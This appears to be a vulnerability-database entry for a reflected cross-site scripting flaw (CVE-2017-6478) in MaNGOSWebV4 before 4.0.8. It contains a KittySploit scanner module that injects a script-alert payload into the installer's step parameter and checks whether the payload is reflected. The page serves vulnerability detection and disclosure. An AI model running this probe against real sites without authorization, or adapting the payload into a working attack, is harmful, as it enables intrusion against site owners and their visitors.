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MaNGOSWebV4 < 4.0.8 - Cross-Site Scripting Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
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Reflected XSS in MaNGOSWebV4 install/index.php via unsanitized step parameter.

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circl
Circl
CVE-2017-6478
4 Dec 202521:02
–circl
cve
CVE
CVE-2017-6478
5 Mar 201720:00
–cve
cvelist
Cvelist
CVE-2017-6478
5 Mar 201720:00
–cvelist
exploitdb
Exploit DB
MaNGOSWebV4 4.0.6 - Reflected XSS
3 Dec 202500:00
–exploitdb
euvd
EUVD
EUVD-2017-15535
7 Oct 202500:30
–euvd
mend
Mend
CVE-2017-6478
5 Mar 201720:00
–mend
nuclei
Nuclei
MaNGOSWebV4 < 4.0.8 - Cross-Site Scripting
20 Oct 202602:05
–nuclei
nvd
NVD
CVE-2017-6478
5 Mar 201720:59
–nvd
packetstorm
Packet Storm
📄 MaNGOSWebV4 4.0.6 Cross Site Scripting
4 Dec 202500:00
–packetstorm
packetstorm
Packet Storm
📄 MaNGOSWeb 4.0.6 Host Header Injection / XML Injection
27 Jan 202600:00
–packetstorm
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""paintballrefjosh/MaNGOSWebV4 < 4."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'MaNGOSWebV4 < 4.0.8 - Cross-Site Scripting Detection',
        'description': "paintballrefjosh/MaNGOSWebV4 < 4.0.8 contains a reflected XSS caused by unsanitized input in install/index.php (step parameter), letting attackers execute arbitrary scripts in the victim's browser, exploit requires victim to visit a maliciously crafted URL",
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve', 'cve2017', 'xss', 'mangoswebv4', 'paintballrefjosh'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [],
            },
        },
        'references': [
            'https://github.com/paintballrefjosh/MaNGOSWebV4/issues/15',
            'https://github.com/paintballrefjosh/MaNGOSWebV4/releases/tag/4.0.8',
            'https://www.exploit-db.com/exploits/52457',
            'https://nvd.nist.gov/vuln/detail/CVE-2017-6478',
        ],
        'cve': 'CVE-2017-6478',
    }

    def run(self):
        path = '/install/index.php?step=%3Cscript%3Ealert(document.domain)%3C/script%3E'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        content_type = r.headers.get("Content-Type") or r.headers.get("content-type") or ""
        body_all = ('<script>alert(document.domain)</script>', 'MaNGOS Web Enhanced V4 Installer',)
        ctype_any = ('text/html',)
        if (all(m in body for m in body_all)) and (any(m in content_type for m in ctype_any)):
            self.set_info(
                severity='medium',
                reason='MaNGOSWebV4 < 4.0.8 - Cross-Site Scripting detected',
                path=path,
            )
            return True
        return False

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28 Jul 2026 11:27Current
6.6Medium risk
Vulners AI Score6.6
CVSS 24.3
CVSS 3.16.1
EPSS0.02553
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